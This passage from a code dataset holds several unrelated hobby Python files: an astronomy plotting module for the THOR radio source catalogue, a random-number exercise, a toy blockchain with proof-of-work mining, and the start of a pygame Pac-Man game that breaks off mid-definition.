axis label and x scale\n ax.set_xlabel(createLabel(intensity_attrib))\n ax.set_ylabel(\"Frequency\")\n ax.set_xscale(\"log\")\n \n counts, bin_edges, ignored = ax.hist(peak_intensity, bins = bins, rwidth=1.0, color=color, label=str(freq_mhz)+\"MHz \" + label)\n #draw best fit logarithmic Gaussian curve\n if fit:\n shape, loc, scale = lognorm.fit(peak_intensity, floc=0)\n bins_log_len = np.r_[bin_edges[1:] - bin_edges[:-1], 0]\n # get pdf-values for same intervals as histogram\n samples_fit_log = lognorm.pdf(bins, shape, loc=loc, scale=scale)\n # plot the fit line\n ax.plot(bins, samples_fit_log * bins_log_len * counts.sum(), 'k-', label=\"Fit line \" + label, linewidth=2) \n \n #display mean and std dev in a textbox\n mean = round(scale, 2)\n std = round(np.log10(shape), 2) \n ax.legend((dummyObj(), dummyObj()), (\"Mean = \" + str(mean), \"SD = \" + str(std)))\n\n ax.legend(loc = \"lower left\", bbox_to_anchor = (0.1, 1.01))\n print(\"Plotted the histogram\")\n\n\ndef scatterPlotCoords(ax, sources, ra, colourVar = \"None\", colourMap = \"Greys_r\"):\n #user can plot galactic coordinates or J2000\n if not ra:\n if colourVar != \"resolved_source\":\n galactic_coords = getGalacticCoords(sources)\n coords = {\"x\" : galactic_coords[\"l\"], \"y\" :galactic_coords[\"b\"]}\n \n #doesn't work because galactic longitude and latitude columns aren't completely numeric so their data types are \"object\" on which numeric operations can't be performed\n #coords = {\"x\": np.array(sources[\"GAL_LON\"]), \"y\": np.array(sources[\"GAL_LAT\"]}\n #set axes labels and flip x axis\n ax.set_xlabel(createLabel(\"GAL_LON\"))\n ax.set_ylabel(createLabel(\"GAL_LAT\"))\n ax.invert_xaxis()\n else: \n coords = {\"x\": sources[\"RA\"], \"y\": sources[\"Dec\"]}\n ax.set_xlabel(\"RA (deg)\")\n ax.set_ylabel(\"Dec (deg)\")\n \n fig = plt.gcf()\n marker_size = calcMarkerSize(fig)\n \n #if 3rd variable is specified, use it to colour the sources and display a colourbar\n if colourVar == \"None\":\n scatter = ax.scatter(coords[\"x\"], coords[\"y\"], c=\"k\", s=marker_size)\n elif isLogarithmic(colourVar):\n #if the 3rd variable is better represented on a logarithmic scale then make the colourbar scale logarithmic\n scatter = ax.scatter(coords[\"x\"], coords[\"y\"], c=sources[colourVar], s=marker_size, cmap=colourMap, norm=LogNorm())\n createColorbar(ax, scatter, log10Label(createLabel(colourVar)), True)\n elif colourVar == \"resolved_source\":\n #if the 3rd variable is a Boolean (resolved or not), filter the sources into two categories and plot them as separate colours on same set of axes \n extreme_colour_1 = getColorFromCMAP(colourMap, 0.0)\n extreme_colour_2 = getColorFromCMAP(colourMap, 1.0)\n\n resolvedSources = filterByRange(sources, colourVar, 1, 1)\n unresolvedSources = filterByRange(sources, colourVar, 0, 0)\n \n #get coordinates of the resolved sources and of the unresolved sources and store in dictionary\n if not ra:\n coords_1, coords_2 = getGalacticCoords(resolvedSources), getGalacticCoords(unresolvedSources) \n coords_resolved = {\"x\": coords_1[\"l\"], \"y\": coords_1[\"b\"]}\n coords_unresolved = {\"x\": coords_2[\"l\"], \"y\": coords_2[\"b\"]}\n else:\n coords_resolved = {\"x\": resolvedSources[\"RA\"], \"y\": resolvedSources[\"Dec\"]}\n coords_unresolved = {\"x\": unresolvedSources[\"RA\"], \"y\": unresolvedSources[\"Dec\"]}\n \n #one plot for resolved, one for unresolved\n scatter = ax.scatter(coords_resolved[\"x\"], coords_resolved[\"y\"], s=marker_size, c=extreme_colour_1, label=\"Resolved sources\")\n scatter = ax.scatter(coords_unresolved[\"x\"], coords_unresolved[\"y\"], s=marker_size, c=extreme_colour_2, label=\"Unresolved sources\")\n \n ax.legend(loc = \"lower left\", bbox_to_anchor = (0.1, 1.01))\n makeLegendActuallyAppear(ax)\n else:\n scatter = ax.scatter(coords[\"x\"], coords[\"y\"], c=sources[colourVar], s=marker_size, cmap=colourMap)\n createColorbar(ax, scatter, createLabel(colourVar))\n print(\"Plotted the coordinates\")\n\n\ndef customHistogram(ax, sources, x_col, log_x, fit, color, step_filled, histlabel, log_freq, cumulative):\n #logarithmic y axis?\n if log_freq:\n ax.set_yscale(\"log\")\n ax.set_ylabel(\"Frequency\")\n \n #stepfilled means histogram is coloured, step just shows the outline\n if step_filled:\n histtype = \"stepfilled\"\n else:\n histtype = \"step\"\n \n #get column to plot and removing blanks\n values = sources[x_col]\n values = values.dropna()\n \n #create bins depending on whether logarithmic or linear\n if log_x:\n values = values[values>0]\n bins_min = np.log10(values.min())\n bins_max = np.log10(values.max())\n bins = 10**np.linspace(bins_min, bins_max, 50)\n ax.set_xscale(\"log\")\n else: \n bins = np.linspace(sources[x_col].min(), sources[x_col].max(), 50)\n \n if fit:\n #best fit Normal or LogNormal curve\n if log_x:\n counts, bin_edges, ignored = ax.hist(values, bins=bins, color=color, histtype=histtype, label=histlabel, linewidth=1, cumulative=cumulative)\n shape, loc, scale = lognorm.fit(values, floc=0)\n bins_log_len = np.r_[bin_edges[1:] - bin_edges[:-1], 0]\n # get pdf-values for same intervals as histogram\n samples_fit_log = lognorm.pdf(bins, shape, loc=loc, scale=scale)\n # plot the fit line\n ax.plot(bins, samples_fit_log * bins_log_len * counts.sum(), 'k-', linewidth=2) \n mean = round(scale, 2)\n std = round(np.log10(shape), 2)\n else:\n counts, bin_edges, ignored = ax.hist(values, bins=bins, color=color, normed=True, histtype=histtype, label=histlabel, linewidth=1, cumulative=cumulative)\n mean, std = norm.fit(values)\n \n xmin, xmax = ax.get_xlim()\n x = np.linspace(xmin, xmax, 100)\n y = norm.pdf(x, mean, std)\n print(y)\n ax.plot(x, y, \"k-\")\n \n mean = round(mean, 2)\n std = round(std, 2)\n \n #display mean and standard deviation in the legend\n ax.legend((dummyObj(), dummyObj()), (\"Mean = \" + str(mean), \"SD = \" + str(std)))\n else:\n #draw histogram without best fit line\n ax.hist(values, bins=bins, color=color, histtype=histtype, label=histlabel, linewidth=2, edgecolor=color, cumulative=cumulative)\n \n #display legend if user wants a label - this \n if histlabel!=\"\":\n ax.legend()\n \n \ndef customPlot(ax, sources, x_col, y_col, color_col, size_col, log_x = False, log_y = False, log_color = False, log_size=False, color_map=\"Greys_r\", fit = False,order=1, color=\"r\", stepped=False, histlabel=\"\", log_freq=False, cumulative=False, spearman=False):\n fig = plt.gcf()\n marker_size = calcMarkerSize(fig)\n \n ax.set_xlabel(createLabel(x_col))\n \n# try:\n #if only one variable chosen then plot histogram and return\n if y_col == \"\":\n customHistogram(ax, sources, x_col, log_x, fit, color, stepped, histlabel, log_freq, cumulative)\n return\n #if two variables, plot simple scatter\n elif color_col == \"\":\n scatter = ax.scatter(sources[x_col], sources[y_col], c=\"k\", s=marker_size, label=\"\")\n #if three variables, colour the points and display colourbar\n elif size_col == \"\":\n label = createLabel(color_col)\n if log_color:\n label = log10Label(label)\n \n scatter = ax.scatter(sources[x_col], sources[y_col], c=sources[color_col], cmap=color_map, s=marker_size, label=\"\")\n createColorbar(ax, scatter, label, log_color)\n #if four variables, adjust size of points\n else:\n #calculate the quartiles of the size column \n sizes = sources[size_col]\n color = getColorFromCMAP(color_map, 0.5)\n if log_size:\n #can only log positive\n sizes = sizes.fillna(0.00001)\n sizes = sizes[sizes>0]\n sizes = np.log10(sizes)\n temp_sizes = getTempSizes(sizes)\n #get quartiles of logged sizes to show 3 sizes in the legend\n q1, q2, q3 = getQuartiles(temp_sizes)\n q1_plot, q2_plot, q3_plot = plotsForLegend(q1, q2, q3, color, True)\n q1, q2, q3 = getQuartiles(sizes)\n #create label for legend\n size_col = log10Label(size_col)\n #the actual sizes the points will be\n sizes = 10*(10**temp_sizes)\n else:\n #for sizes that aren't available, set equal to 0 (so they won't get plotted)\n sizes = sizes.fillna(0)\n temp_sizes = getTempSizes(sizes)\n #get quartiles to show 3 sizes in the legend\n q1, q2, q3 = getQuartiles(temp_sizes)\n q1_plot, q2_plot, q3_plot = plotsForLegend(q1, q2, q3, color, False)\n q1, q2, q3 = getQuartiles(sizes)\n #the actual sizes the points will be\n sizes = 100*sizes\n \n #round the quartiles to 3 decimal places for displaying in the legend and create the legend\n dp = 3\n q1 = round(q1, dp)\n q2 = round(q2, dp)\n q3 = round(q3, dp)\n ax.legend((dummyObj(), q1_plot,q2_plot,q3_plot), (size_col, str(q1), str(q2), str(q3)), scatterpoints=1, loc = \"lower left\", bbox_to_anchor = (0.01, 1.01))\n makeLegendActuallyAppear(ax)\n \n #create colourbar and appropriate label for it\n label = createLabel(color_col)\n if log_color:\n scatter = ax.scatter(sources[x_col], sources[y_col], c=sources[color_col], cmap=color_map, s=sizes, label=\"\")\n label = log10Label(label)\n else:\n scatter = ax.scatter(sources[x_col], sources[y_col], c=sources[color_col], cmap=color_map, s=sizes, label=\"\")\n createColorbar(ax, scatter, label, log_color)\n \n ax.set_ylabel(createLabel(y_col))\n \n #adjust scale on axes if logged so all data points are visible\n if log_x:\n ax.set_xscale(\"log\")\n xs = sources[x_col]\n xs = xs[xs>0]\n ax.set_xlim(xmin=xs.min(), xmax=xs.max())\n if log_y:\n ax.set_yscale(\"log\")\n ys = sources[y_col]\n ys = ys[ys>0]\n ax.set_ylim(ymin=ys.min(), ymax=ys.max())\n \n #if needed, get and draw polynomial line of best fit\n if fit:#\n #drop blank values in the two columns and any values <= 0 if taking log\n sources = sources.dropna(subset=[x_col, y_col])\n if log_x:\n sources = sources[sources[x_col]>0]\n if log_y:\n sources = sources[sources[y_col]>0]\n xs, ys, coeff = getPolynomialFunc(sources[x_col], sources[y_col], log_x, log_y, order) \n ax.plot(xs, ys(xs), \"r--\")\n ax.text(0.1, 1.02, \"Fitted line coefficients\\n\" + str(np.round(coeff, 3)), transform=ax.transAxes)\n \n #if needed, get Spearman's Rank Correlation Coefficient and display in a textbox\n if spearman:\n ax.text(0.5, 1.02, r\"r$_s$ = \" +str(np.round(spearmanr(sources[x_col], sources[y_col])[0], 4)), transform=ax.transAxes)\n return scatter\n\n# except:\n# print(\"exception\")\n# pass\n \n\n#create label for putting on axis by combining name of quantity with the unit - mainly for THOR catalogue\ndef createLabel(quantity):\n quantity_return = quantity\n \n #make the labels S_p... and S_int friendlier to read\n if \"S_p\" in quantity:\n if \"delta\" in quantity:\n quantity_return = \"Delta intensity at \" + quantity[14:-1] + \"MHz\"\n elif len(quantity) > 0:\n quantity_return = \"Intensity at \" + quantity[8:-1] + \"MHz\"\n else:\n quantity_return = \"Intensity\"\n elif quantity == \"S_int\":\n quantity_return = \"Flux density\"\n elif quantity == \"GAL_LON\":\n quantity_return = \"Galactic longitude\"\n elif quantity == \"GAL_LAT\":\n quantity_return =\"Galactic latitude\"\n \n #attach unit if applicable\n unit = getUnit(quantity)\n if unit is None:\n label = quantity_return\n else:\n label = str(quantity_return) + \" (\" + str(getUnit(quantity)) + \")\"\n return label\n\n#return the unit of quantities using Astropy units package\ndef getUnit(quantity):\n if \"S_p\" in quantity:\n return u.Jy / u.beam\n elif quantity == \"RA\" or quantity == \"Dec\" or quantity == \"BPA\" or quantity==\"GAL_LON\" or quantity==\"GAL_LAT\":\n return u.degree\n elif quantity == \"S_int\":\n return u.Jy\n elif quantity == \"BMAJ\" or quantity == \"BMIN\":\n return u.arcsec\n else:\n return None\n\ndef createColorbar(ax, scatter, label, log=False):\n #append the colour bar axes onto the main set of axes\n divider = make_axes_locatable(ax)\n cax = divider.append_axes(\"right\", size=\"10%\", pad=0.05)\n cbar = plt.colorbar(scatter, cax=cax, shrink = 0.8, pad = 0.05) \n cbar.set_label(label)\n \n #make scale of colourbar logarithmic if needed\n if log:\n cbar.formatter = LogFormatterExponent()\n cbar.update_ticks()\n return cbar\n\ndef makeLegendActuallyAppear(ax):\n box = ax.get_position()\n ax.set_position([box.x0, box.y0, box.width, box.height*0.8]) \n\ndef getPolynomialFunc(x, y,log_x, log_y, order):\n x = np.asarray(x, dtype=float)\n y = np.asarray(y, dtype=float)\n #create and return a polynomial function into which x values will be passed to\n if log_x and log_y:\n logx = np.log10(x)\n logy = np.log10(y)\n coefficients = np.polyfit(logx, logy, order)\n polynomial = np.poly1d(coefficients)\n ys = lambda x: np.exp(polynomial(np.log(x)))\n #TODO: fix middle two elifs\n elif log_x:\n logx = np.log10(x)\n coefficients= np.polyfit(logx, y, order)\n polynomial = np.poly1d(coefficients)\n ys = lambda x: polynomial(x)\n elif log_y:\n logy = np.log10(y)\n coefficients = np.polyfit(x, logy, order)\n polynomial = np.poly1d(coefficients)\n ys = lambda x: np.exp(polynomial(np.log(x)))\n else:\n coefficients = np.polyfit(x, y, order)\n polynomial = np.poly1d(coefficients)\n ys = lambda x: polynomial(x)\n return x, ys, coefficients\n\n#get a specific colour from a colourmap\ndef getColorFromCMAP(color_map, fraction):\n cmap = plt.cm.get_cmap(str(color_map))\n return cmap(fraction)\n\ndef log10Label(label) -> str:\n return \"log\" + r\"$_1$$_0$(\" + label + \")\"\n\ndef getQuartiles(arr):\n return np.percentile(arr, 25), np.percentile(arr, 50), np.percentile(arr, 75)\n#used for creating legend for sizes\ndef getTempSizes(sizes):\n col_range = sizes.max() - sizes.min()\n return (sizes-sizes.min())/col_range\n\n#used for adding extra information to a legend\ndef dummyObj():\n return Rectangle((0, 0), 1, 1, fc=\"w\", fill=False, edgecolor='none', linewidth=0)\n\n#used for creating the sizes legend\ndef plotsForLegend(q1, q2, q3, color, log=False):\n marker = \"o\"\n print(color)\n if log:\n return plt.scatter([], [], s=10*(10**q1), marker=marker, color=color), plt.scatter([], [], s=10*(10**q2), marker=marker, color=color), plt.scatter([], [], s=10*(10**q3), marker=marker, color=color)\n else:\n return plt.scatter([], [], s=100*q1, marker=marker, color=color), plt.scatter([], [], s=100*q2, marker=marker, color=color), plt.scatter([], [], s=100*q3, marker=marker, color=color)\n\ndef calcMarkerSize(fig):\n return (200./fig.dpi)**2\n\n#convert a frequency into the corresponding column attribute in the THOR catalogue\n#e.g. 1060 returns S_p(spw-1060)\ndef intensityAttrib(freq_mhz):\n return \"S_p(spw-\" + str(freq_mhz) + \")\"\n\ndef deltaIntensityAttrib(freq_mhz):\n return \"delta_\" + intensityAttrib(freq_mhz)\n\n#used for the THOR catalogue to determine whether scale should be logarithmic\ndef isLogarithmic(col_name):\n if col_name == \"S_int\" or \"S_p\" in col_name or col_name.upper() == \"INTENSITY\" or col_name==\"alpha\" or col_name==\"SNR\" or col_name==\"n_pix\":\n return True\n \n#not quite working but not being used at the moment\n#def filterByGalacticCoords(sources, min_lon, max_lon, min_lat, max_lat):\n# min_coord = SkyCoord(frame=\"galactic\", l=min_lon*u.degree, b=min_lat*u.degree)\n# max_coord = SkyCoord(frame=\"galactic\", l=max_lon*u.degree, b=max_lat*u.degree)\n# min_ra = float(min_coord.icrs.ra.deg)\n# max_ra = float(max_coord.icrs.ra.deg)\n# min_dec = float(min_coord.icrs.dec.deg)\n# max_dec = float(max_coord.icrs.dec.deg)\n# return filterByRADec(sources, min_ra, max_ra, min_dec, max_dec)\n\n#convenience function for returning sources within specified region of the sky\n#def filterByRADec(sources, min_ra, max_ra, min_dec, max_dec):\n# restricted = filterByRange(sources, \"RA\", min_ra, max_ra)\n# return filterByRange(restricted, \"Dec\", min_dec, max_dec)\n","repo_name":"avi-mukesh/THOR","sub_path":"analysis_tools_update2.py","file_name":"analysis_tools_update2.py","file_ext":"py","file_size_in_byte":22126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32463641590","text":"# psedo random numbers \nimport random \nx = random.randint(1,6) # random integer(range)\ny = random.random() # random number between 0 and 1\n\nprint(x)\nprint(y)\n\n# rock paper scissors\nmyList = ['rock', 'paper', 'scissors']\nz = random.choice(myList)\nprint(z)\n\n# shuffle cards:\ncards = [1,2,3,4,5,6,7,8,9,\"J\", \"Q\", \"K\", \"A\"]\nrandom.shuffle(cards)\nprint(cards)","repo_name":"lamhuynh05/python-mini-exercises","sub_path":"random-numbers.py","file_name":"random-numbers.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32473909241","text":"# Import hashing algorithm\nfrom hashlib import sha256\n\n# Function to help the hash function\ndef updatehash(*args):\n\n hashing_text = \"\"; h = sha256()\n\n # Adding args\n for arg in args:\n hashing_text += str(arg)\n\n # Hashing them & returning in hex\n h.update(hashing_text.encode('utf-8'))\n return h.hexdigest()\n\nclass Transaction():\n\n # Constructor\n def __init__(self, senderAddress, receiverAddress, amount):\n self.senderAddress = senderAddress\n self.receiverAddress = receiverAddress\n self.amount = amount\n\n # Get transaction hash\n def calculateHash(self):\n return sha256(self.senderAddress + self.receiverAddress + self.amount)\n\n# What each block looks like\nclass Block():\n\n nonce = 0\n difficulty = 4\n\n # Constructor\n def __init__(self, transactions, previousHash = ''):\n self.transactions = transactions\n self.previousHash = previousHash\n self.hash = self.calculateHash()\n\n # Setting block's hash\n def calculateHash(self):\n return updatehash(\n self.previousHash,\n self.transactions,\n self.nonce\n )\n\n # Mining function to add pending tx's in new block\n def mine(self):\n while True:\n if self.calculateHash()[:self.difficulty] == \"0\" * self.difficulty:\n self.hash = self.calculateHash(); break\n else:\n self.nonce += 1\n\n # Method to print the block nicely\n def __str__(self):\n return str(\"Hash: %s\\nPrevious: %s\\nTx's: %s\\nNonce: %s\\n\" %(\n self.calculateHash(),\n self.previousHash,\n self.transactions,\n self.nonce\n )\n )\n\n# What our blockchain looks like\nclass Blockchain():\n\n # Number of starting zeros required for hash riddle solution\n difficulty = 4\n\n #Constructor\n def __init__(self):\n self.chain = [self.createGenesisBlock()]\n self.pendingTx = []\n self.miningReward = 1\n\n # Create first block without having a previous hash\n def createGenesisBlock(self):\n return Block([], \"0\" * 64)\n\n # Function to retrieve the latest mined block\n def getLatestBlock(self):\n return self.chain[(len(self.chain) - 1)]\n\n # Mining a new block to add to blockchain\n def minePendingTx(self, miningRewardAddress):\n\n rewardTx = Transaction(\"treasury\", miningRewardAddress, self.miningReward)\n self.pendingTx.append(rewardTx)\n\n block = Block(self.pendingTx, self.getLatestBlock().hash)\n block.mine()\n\n self.chain.append(block)\n\n self.pendingTx = []\n\n # Create a tx and append it to the pending's array\n def createTx(self, transaction):\n self.pendingTx.append(transaction)\n\n # Iterate in every tx in every block to get balance\n def getBalance(self, address):\n\n if address == 'treasury':\n balance = 1000\n else:\n balance = 0\n\n for block in self.chain:\n for transaction in block.transactions:\n if transaction.receiverAddress == address:\n balance += transaction.amount\n if transaction.senderAddress == address:\n balance -= transaction.amount\n\n return balance\n\n # Check for difficulty compliance & hash concurrence\n def isValid(self):\n for i in range(1, len(self.chain)):\n _previous = self.chain[i - 1]\n _current = self.chain[i]\n\n if _current.hash != _current.calculateHash():\n return False\n\n if _current.previousHash != _previous.hash:\n return False\n\n return True","repo_name":"pacocerezo/Blockchain-Interactive-App","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":3674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"895606673","text":"import copy\nimport pygame as pygame\nimport math\nfrom random import randrange\nfrom tkinter import * \nfrom tkinter import messagebox \nimport queue \n\n#shiet\n\n\npygame.init()\n\noriginalGameBoard = [\n [3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3],\n [3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3],\n [3, 2, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 2, 3],\n [3, 6, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 6, 3],\n [3, 2, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 2, 3],\n [3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3],\n [3, 2, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 2, 3],\n [3, 2, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 2, 3],\n [3, 2, 2, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 2, 2, 3],\n [3, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 1, 3, 3, 1, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 1, 3, 3, 1, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 2, 3, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 3, 2, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 2, 3, 3, 1, 3, 3, 1, 1, 1, 1, 3, 3, 1, 3, 3, 2, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 2, 3, 3, 1, 3, 4, 4, 4, 4, 4, 4, 3, 1, 3, 3, 2, 3, 3, 3, 3, 3, 3],\n [3, 1, 1, 1, 1, 1, 2, 1, 1, 1, 3, 4, 4, 4, 4, 4, 4, 3, 1, 1, 1, 2, 1, 1, 1, 1, 1, 3], # Middle Lane Row: 14\n [3, 3, 3, 3, 3, 3, 2, 3, 3, 1, 3, 4, 4, 4, 4, 4, 4, 3, 1, 3, 3, 2, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 2, 3, 3, 1, 3, 3, 3, 3, 3, 3, 3, 3, 1, 3, 3, 2, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 2, 3, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 3, 2, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 2, 3, 3, 1, 3, 3, 3, 3, 3, 3, 3, 3, 1, 3, 3, 2, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 2, 3, 3, 1, 3, 3, 3, 3, 3, 3, 3, 3, 1, 3, 3, 2, 3, 3, 3, 3, 3, 3],\n [3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3],\n [3, 2, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 2, 3],\n [3, 2, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 2, 3],\n [3, 6, 2, 2, 3, 3, 2, 2, 2, 2, 2, 2, 2, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 3, 2, 2, 6, 3],\n [3, 3, 3, 2, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 2, 3, 3, 3],\n [3, 3, 3, 2, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 2, 3, 3, 3],\n [3, 2, 2, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 2, 2, 3],\n [3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3],\n [3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3],\n [3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3],\n [3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3],\n [3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3],\n]\n\noriginalGameBoard = [\n [3,3,3,3,3,3,3,3,3],\n [3,3,3,3,3,3,3,3,3],\n [3,3,3,3,3,3,3,3,3],\n [3,1,2,2,2,2,2,2,3],\n [3,2,2,2,2,2,2,2,3],\n [3,2,3,2,3,3,3,3,3],\n [3,2,3,2,2,2,2,2,3],\n [3,2,3,2,2,2,2,2,3],\n [3,2,3,2,2,2,2,2,3],\n [3,2,2,2,2,2,2,2,3],\n [3,3,3,3,3,3,3,3,3]\n]\n\n# # map2\n# originalGameBoard = [\n# [3,3,3,3,3,3,3,3,3],\n# [3,3,3,3,3,3,3,3,3],\n# [3,3,3,3,3,3,3,3,3],\n# [3,1,2,2,2,2,2,2,3],\n# [3,2,3,2,3,3,3,3,3],\n# [3,2,2,2,2,2,2,2,3],\n# [3,2,3,2,2,2,2,2,3],\n# [3,2,3,2,2,2,2,2,3],\n# [3,2,3,2,2,2,2,2,3],\n# [3,2,2,2,2,2,2,2,3],\n# [3,3,3,3,3,3,3,3,3]\n# ]\n\n#MAP COFIGURE\n\ngameBoard = copy.deepcopy(originalGameBoard)\nspriteRatio = 3 / 2\nsquare = 50 # Size of each unit square\nspriteOffset = square * (1 - spriteRatio) * (1 / 2)\n(width, height) = (len(gameBoard[0]) * square, len(gameBoard) * square) # Game screen\n\n(WS, HS) = ( len(gameBoard[0]) , len(gameBoard) )\n\n\n#print(spriteOffset)\nscreen = pygame.display.set_mode((width, height))\npygame.display.flip()\ngame_over = False\n\nSPEED = 1/4\n\ncurPoint = copy.deepcopy(originalGameBoard)\n\n#print(len(gameBoard[0]))\n#print(len(gameBoard))\n\nglobal numOfPoint\nnumOfPoint=0\n\nfor i in range(len(gameBoard) ) :\n for j in range(len(gameBoard[0]) ) :\n if gameBoard[i][j] == 2:\n numOfPoint+=1\n \nprint(numOfPoint)\nfor i in range(len(gameBoard) ) :\n for j in range(len(gameBoard[0]) ) :\n if gameBoard[i][j] != 2 :\n curPoint[i][j] = 0 \n\n\npos = [13, 26]\npelletColor = (222, 161, 133)\n# print(len(gameBoard[0])) # horizontal\n# print(len(gameBoard)) # vertical\nclock = pygame.time.Clock()\nsrc = \"src/\"\nimgPacClose = \"yellow2.jpg\" \ny = \"image1.jpg\" # tường màu xanh\nblinky = \"blinky.png\"\ncyanghost = \"cyan.jpg\"\n\n\n\n# SPEEDP = 1/4\n# d4val = [ (-SPEEDP,0), (0,SPEEDP), (SPEEDP,0), (0,-SPEEDP) ]\n# SPEEDG = 2/4\n# d4valG = [ (-SPEEDG,0), (0,SPEEDG), (SPEEDG,0), (0,-SPEEDG) ]\n\n\n# GHOST FREE MOVE\nglobal mx1,dx4,dy4\nd4x = [ -1 , 0 , 1 , 0]\nd4y = [ 0 , 1 , 0 , -1]\n\n\nmx1 = copy.deepcopy(originalGameBoard)\nfor i in range( len(mx1) ) :\n for j in range( len(mx1[0]) ) :\n # print(f'{i} {j}')\n if mx1[i][j] != 3 :\n mx1[i][j] = 1\n\n\n\ndef isInt( x ) :\n if x == int(x) : \n return True\n return False\n\n\ndef insideOfGameBoard( y , x ) :\n return x >= 0 and x < len(gameBoard[0]) and y >= 0 and y < len(gameBoard)\n\n\ndef reachCel( row , col, direct ) :\n if direct == 0 :\n return ( math.floor(row - SPEED) , int( col ) )\n if direct == 1 :\n return ( int( row ) , math.ceil(col + SPEED) )\n if direct == 2 :\n return ( math.ceil(row + SPEED) , int(col) ) \n if direct == 3 :\n return ( int(row) , math.floor(col - SPEED) )\n return True\n\ndef canMove(row, col, direct) :\n\n (y,x) = reachCel(row,col,direct)\n\n if not insideOfGameBoard( y , x ) :\n return False\n\n if direct == 0 :\n return gameBoard[ y ][ x] != 3 and isInt(col) \n if direct == 1 :\n return gameBoard[ y ][ x ] != 3 and isInt(row) \n if direct == 2 :\n return gameBoard[ y ][ x ] != 3 and isInt(col) \n if direct == 3 :\n return gameBoard[ y ][ x ] != 3 and isInt(row) \n\n\n\n#tinh' diem?\nscore = 0\nfont = pygame.font.Font('freesansbold.ttf',20)\n\ndef showScore(x,y):\n pygame.draw.rect(screen, (0, 0, 0) , (x-3 , y-3, square*8, square*2))\n strScore = font.render(\"Score: \" + str(score),True,(255,255,255))\n screen.blit(strScore,(x,y))\n\n\nclass MovableObj : # include pacman, ghost\n def __init__(self, row, 